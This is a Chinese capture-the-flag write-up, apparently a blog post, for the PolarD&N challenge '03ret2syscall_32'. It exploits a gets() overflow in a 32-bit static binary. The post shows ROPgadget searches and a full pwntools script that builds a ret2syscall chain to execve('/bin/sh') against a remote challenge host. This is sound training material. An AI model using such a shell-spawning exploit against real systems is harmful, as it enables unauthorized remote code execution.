[PolarD&N]题解——03ret2syscall_32

题目来源:PolarD&N靶场(https://www.polarctf.com/#/

题目名称:03ret2syscall_32


是一个32位静态的题目!

思路:

door()函数存在溢出:

决定利用gets()函数的溢出,去构造execve("/bin/sh", 0, 0)。

使用命令查找eax,ebx,ecx,edx:

ROPgadget --binary 03ret2syscall_32 --only 'pop|ret' | grep 'eax'

ROPgadget --binary 03ret2syscall_32 --only 'pop|ret' | grep 'ebx'

存在ebx,ecx,edx连续的寄存器,选取连续的即可。

查找/bin/sh字符串:

ROPgadget --binary 03ret2syscall_32 --string '/bin/sh'

查找int 0x80:

ROPgadget --binary 03ret2syscall_32 --only 'int'

最终脚本:

from pwn import *

sh = remote('123.60.135.228',2062)

padding = 0x208+4
pop_eax_ret = 0x080b8576
pop_edx_ecx_ebx_ret = 0x0806f250
int_0x80 = 0x0806cea3
binsh = 0x080ea068

payload = flat(['a' * padding, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0,binsh,int_0x80])


sh.sendline(payload)
sh.interactive()

如有错误欢迎大佬指正!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值